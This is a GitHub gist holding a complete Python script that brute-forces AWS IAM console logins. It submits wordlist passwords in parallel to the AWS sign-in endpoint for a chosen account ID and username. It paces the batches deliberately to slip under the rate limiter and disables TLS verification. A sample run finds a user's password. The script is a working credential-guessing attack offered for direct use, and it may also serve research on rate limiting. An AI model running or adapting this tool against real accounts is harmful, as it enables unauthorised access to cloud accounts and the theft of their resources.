Skip to content

Instantly share code, notes, and snippets.

@christophetd
Last active February 15, 2023 19:06
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save christophetd/6cedf145e5a4ff1ba144747b734c114a to your computer and use it in GitHub Desktop.
Save christophetd/6cedf145e5a4ff1ba144747b734c114a to your computer and use it in GitHub Desktop.
"""
Sample usage:
python brute-aws-parallel.py --account-id 751353041310 --username christophetd --wordlist $HOME/wordlists/passwords/500-worst-passwords.txt
Sample output:
Trying 499 passwords at a max rate of 30 passwords every 6 seconds
6.0 % done (30/499) passwords tried, estimated 1m44s remaining
12.0 % done (60/499) passwords tried, estimated 1m36s remaining
18.0 % done (90/499) passwords tried, estimated 1m32s remaining
24.0 % done (120/499) passwords tried, estimated 1m23s remaining
30.1 % done (150/499) passwords tried, estimated 1m16s remaining
36.1 % done (180/499) passwords tried, estimated 1m10s remaining
42.1 % done (210/499) passwords tried, estimated 1m3s remaining
48.1 % done (240/499) passwords tried, estimated 57s remaining
54.1 % done (270/499) passwords tried, estimated 50s remaining
60.1 % done (300/499) passwords tried, estimated 44s remaining
66.1 % done (330/499) passwords tried, estimated 37s remaining
72.1 % done (360/499) passwords tried, estimated 31s remaining
78.2 % done (390/499) passwords tried, estimated 24s remaining
84.2 % done (420/499) passwords tried, estimated 17s remaining
90.2 % done (450/499) passwords tried, estimated 10s remaining
96.2 % done (480/499) passwords tried, estimated 4s remaining
====================
Found password for christophetd: rush2112
====================
(execution time 1m47s for 499 passwords => 4.6 passwords per second = 276 passwords per minute
"""
#!/usr/bin/python3
import argparse
from concurrent.futures import ThreadPoolExecutor
import time
import requests
requests.urllib3.disable_warnings()
parser = argparse.ArgumentParser()
parser.add_argument('--account-id', '-id', required=True, default=False, metavar='account_id', type=str)
parser.add_argument('--username', '-u', required=True, default=False, metavar='username', type=str)
parser.add_argument('--wordlist', '-w', required=True, default=False, metavar='file_path', type=str)
args = parser.parse_args()
RATE_LIMITER_THRESHOLD=30
def try_login(account_id, username, password):
headers = {
'referer': 'https://signin.aws.amazon.com',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36'
}
data = {
'action': 'iam-user-authentication',
'client_id': 'arn:aws:signin:::console/canvas',
'redirect_uri': 'https://console.aws.amazon.com/console/home',
'account': account_id,
'username': username,
'password': password
}
response = requests.post(
'https://signin.aws.amazon.com/authenticate',
headers=headers,
data=data,
verify=False
)
return password, response.text
def chunk(list, chunk_size):
for i in range(0, len(list), chunk_size):
yield list[i:i + chunk_size]
def pretty_print_seconds(seconds):
sign_string = '-' if seconds < 0 else ''
seconds = abs(int(seconds))
days, seconds = divmod(seconds, 86400)
hours, seconds = divmod(seconds, 3600)
minutes, seconds = divmod(seconds, 60)
if days > 0:
return '%s%dd%dh%dm%ds' % (sign_string, days, hours, minutes, seconds)
elif hours > 0:
return '%s%dh%dm%ds' % (sign_string, hours, minutes, seconds)
elif minutes > 0:
return '%s%dm%ds' % (sign_string, minutes, seconds)
else:
return '%s%ds' % (sign_string, seconds)
SLEEP_INTERVAL_SECONDS = 6
if __name__ == '__main__':
passwords = open(args.wordlist).read().splitlines()
num_passwords_to_try = len(passwords)
chunked_passwords = chunk(passwords, RATE_LIMITER_THRESHOLD)
failed = 0
print(f"Trying {len(passwords)} passwords at a max rate of {RATE_LIMITER_THRESHOLD} passwords every {SLEEP_INTERVAL_SECONDS} seconds")
for chunk in chunked_passwords:
# Try in parallel every batch of 30 passwords
start_time = time.time()
pool = ThreadPoolExecutor(max_workers=len(chunk))
tasks = []
for password in chunk:
task = pool.submit(try_login, args.account_id, args.username, password)
tasks.append(task)
# Retrieve results
for task in tasks:
password, result = task.result()
if "SUCCESS" in result:
print("=" * 20)
print(f"Found password for {args.username}: {password}")
print("=" * 20)
exit(0)
elif "wait" in result:
raise RuntimeError("the rate limiter unexpectedly kicked in: " + result)
elif "FAILURE" in result:
failed += 1
num_passwords_to_try -= 1
else:
raise RuntimeError("unexepected response: " + result)
time.sleep(SLEEP_INTERVAL_SECONDS) # sleep to avoid triggering the rate limiter
progress_percent = round(100 * failed/len(passwords), 1)
time_spent_seconds = time.time() - start_time
passwords_per_second = len(chunk)/time_spent_seconds
remaining_time = pretty_print_seconds(num_passwords_to_try/passwords_per_second)
print(f"{progress_percent} % done ({failed}/{len(passwords)}) passwords tried, estimated {remaining_time} remaining")
print("Did not find password")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment